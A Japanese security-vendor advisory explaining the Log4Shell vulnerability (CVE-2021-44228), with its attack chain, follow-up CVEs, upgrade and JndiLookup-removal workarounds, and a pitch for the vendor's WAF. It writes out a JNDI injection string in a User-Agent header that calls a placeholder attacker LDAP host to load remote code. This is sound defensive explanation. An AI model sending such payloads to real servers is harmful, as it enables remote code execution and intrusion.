Apache Log4j2のRCE脆弱性（CVE-2021-44228）を狙った攻撃について（詳細解説）

※ 2021年12月21日現在の情報です

log4shellの概要

この脆弱性は、Apache Log4j（以下、Log4j）と呼ばれるデータログ生成・記録APIが持っていたRCE（リモートコード実行）が可能なゼロデイ脆弱性です。

CVE-2021-44228、国内ではJVNVU#96768815で報告されているこの脆弱性は、開発元の The Apache Software Foundation によると、脅威度の評価指針である共通脆弱性評価システムCVSS（v3）の値で 10.0 最高値となっており、また米 SANS の Internet Storm Center では、本件はWannaCry 以来の影響度 Yellow （影響が未知数の状況：※同年同月14日には、脅威が世間に周知されたとの事で本件は解除された： https://isc.sans.edu/diary/rss/28130 ）で、影響緩和のための対策を迅速に行うことが推奨されています。

JVNVU#96768815 Apache Log4jにおける任意のコードが実行可能な脆弱性
 更新：Apache Log4j の脆弱性対策について(CVE-2021-44228)：IPA 独立行政法人情報処理推進機構

本脆弱性は、具体的にはLog4jの持つ機能の一つ「JNDI Lookup」という機能に存在します。
文字列を出力する「ログ」の機能がなぜ問題になっているのかというと、今回の Log4j には他のログライブラリと違って「文字列を確認し、特定の文字列の場合は変数に置き換える（Lookup）」機能を持ち、更には変数をネットワーク越しに検索する仕組み（JDNI Lookup＝検索して、見つけた値をサーバ内で実行する仕組み）が存在します。

また、当該脆弱性への恒久的な対応にはアップデートが必要になりますが、運用中のシステムに対してシステム停止や再起動などを伴う事も多い「修正パッチの適用」そのものはもちろん、パッチ適用に伴う影響範囲の調査、肝心のアプリケーションの動作に支障がないかの確認作業なども踏まえ、アップデート対応がそう容易ではない事も、大きな障害の一つに挙げられます。

攻撃手法の例

以下は、本脆弱性を利用した攻撃手法の一例です。

1．【攻撃者】クライアント側のPC等から、チャットなどログに入力値がそのまま出力される機能に対して、httpヘッダのUser-Agent（アクセスしてきたクライアントが何者であるかの情報）に、たとえば ${jndi:ldap://hogehoge.com/a} と文字列を書いた「httpリクエスト」を送信します。

2．【脆弱性のあるサーバ】Log4j libraryはログを書き込みます。すると、JNDI lookup機能はログ内の文字列を変数化するために、JNDI（Java Naming and Directory Interface：Javaで標準的に利用されるAPIで、Javaプログラムから各種ディレクトリサービス等にアクセスする標準的なインターフェース仕様のこと）経由で ldap://hogehoge.com/a （httpリクエストに書かれていた【攻撃者のサーバ】のURL（SSL（https）を使用してLDAPサーバーに接続する場合はリクエストを「ldap」ではなく「ldaps」に変更））へ、LDAP query（LDAPプロトコルという通信ルールでの、サーバへの問い合わせ）を送信します。

3．【攻撃者のサーバ】攻撃者のサーバには、queryに応答して「よからぬJava Classファイル（拡張子は .class 、 Java のソースファイルをコンパイル（ソースコードをコンピュータが実行可能なバイナリ言語に変換すること）すると出来上がるプログラムなファイル）」のURLを応答するように設定しておきます。

4．【脆弱性のあるサーバ】Log4jは、上記サーバからの応答にあったURLを使って、その「悪意のある .classファイル」をダウンロードし、メモリ内に読み込んで実行します。

これで攻撃成功です（上記は簡易な攻撃手法の例で、実際の攻撃では、例えばLDAP（S）だけが対象ではなくDNSを対象とするものがあったり、また複数の攻撃手法を組み合わせた複合パターンもあったり、シグネチャ回避のため難読化した攻撃手法なども存在したりと、攻撃手法は多岐に渡ります）。

以下は参考ながら、スイス政府のコンピュータ緊急対応チーム（GovCERT）による攻撃チェーンの解説および対応策を示した図になります。

（出典：Zero-Day Exploit Targeting Popular Java Library Log4j：https://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/ )

上記の例にもあるように、Web アプリケーションは、HTTP リクエストを受け付けるとログを出力します。その際に Log4J が利用されるのですが、ログ出力に一般的に利用される HTTP ヘッダの項目に対して攻撃が来ていることが観測されております。

図1. 攻撃遮断くん、WafCharmで実際に検出された攻撃に利用されているHTTPヘッダの例

また、そのヘッダに設定されていた攻撃データパターンを例示します。JNDI 経由で Lookup する ldap(s), dns, rmi の各種プロトコル、環境変数へのアクセス、及びその難読化されたパターンが多くみられる傾向となっています。

図2. 攻撃遮断くん、WafCharmで実際に検出された攻撃文字列の例

回避策について

この問題は、世界中で数多く使われている標準的なソフトウェア、そこに組み込まれている基本的なコードの中に存在した「たった一つの脆弱性」が影響する範囲の大きさを示した分かりやすい例となりました。

なお2021年12月21日現在では、前述のCVE-2021-44228に続いてCVE-2021-45046（CVSS値9.0：報告日12/14）、CVE-2021-45105（CVSS値7.5：報告日12/15）の2件も追加で報告されています。

これらの脆弱性を利用した攻撃に対処する（防ぐ）には、

◆Log4jを、2.12.3（新しいCVE-2021-45105まで対応済み：実行環境がJava 7の場合・・・だったのですが公式から現在消えていて2.12.2が最新のようです。GitHub上は https://github.com/advisories/GHSA-p6xc-xr62-6r2g で存在を確認）ないし2.17.0（実行環境がJava 8以上）にアップデートする

という方法が推奨されています。

Java による業務用アプリケーションやWeb アプリケーションは非常に多く開発されており、Log4j は比較的デファクトスタンダートな形で利用されており、本脆弱性は多くのアプリケーションが対象になることが想定されます。現在稼働しているシステムの設定を変更したり、バージョンをアップデートしてシステムの正常稼働を確認し、システムの入れ替えを行うことは非常に困難であることが想定されます。

そこで、あくまで緊急避難的にではありますが、暫定的な回避策もございます。

それは、要するにLookup機能を無効化することです。

◆特定classの削除（log4j 2.0-beta9以上）

　→ Log4j から以下の Jndilookup.class ファイルを削除して下さい。

　　　zip -q -d log4j-core-*.jar

　　　org/apache/logging/log4j/core/lookup/JndiLookup.class

※ The Apache Software Foundationでは、有効な回避策として「JndiLookup.classをクラスパスから削除する」回避策の実施を呼びかけています。

「LDAPルックアップ機能をlocalhostに限定する」という対策だけでは、JNDIルックアップパターンを用いて悪意のある入力データを送信し、Log4jがログとして記録することで、Lookupにより指定された通信先もしくは内部パスからjava classファイルを読み込み実行、結果として任意のコードが実行される可能性（CVE-2021-45046：CVSS 9.0）が残されていたため、これだけでは対策としては不十分です。

また以前に対応版としてリリースされた「2.15.0」、さらに上記への対応としてJNDI機能そのものがデフォルトで無効、またMessage Lookup機能が削除された「2.16.0」においても、更に新たな脆弱性（CVE-2021-45105：CVSS 7.5）にて、ログ設定でコンテキストルックアップを含むデフォルト以外のパターンレイアウト（例：$${ctx:loginId}）を使用している場合、スレッドコンテキストマップ（MDC）入力データを制御する攻撃者はJNDIルックアップパターンを使用して再帰的なルックアップを引き起こす「悪意ある入力データ」を作成する可能性がある、と報告されており、こちらも対策としては不十分です。

また、回避策の実行が難しいという状況にあったとしても、既知の脆弱性を放置してしまうと、Webサイトが悪意ある第三者に狙われ、大量の個人情報や機密情報の漏洩、クレジットカード情報の窃取、Webサイトの改ざんや乗っ取り被害などといった、大きな被害を被ってしまいますので、回避策の実施を強く推奨します。

本脆弱性への対策でも「WAF」は有用

なお、本脆弱性への対処はWAFが有用であり、当社、株式会社サイバーセキュリティクラウド（略称：CSC）では既に、初期対応時から観測された実際の攻撃データ、難読化のパターン等に基づいて防御ルールを作成し、攻撃遮断くん、WafCharm、CSC Managed Rules for AWS WAFをご利用のお客様にご提供しています。事業への影響を考慮すると、回避策の実施まで時間がかかるケースが事業運営上は多々発生します。このような場合において、WAFによる脆弱性対策は有用となります。

また、関連した脆弱性が報告されたり、世界中で攻撃の予兆や偵察の通信も観測され続けていたり、ターゲットとなり得る対象が未だすべては把握しきれていなかったりと、状況が刻々と変化していますので、情報は常にアップデートし、最新の情報を得るように心がけてください。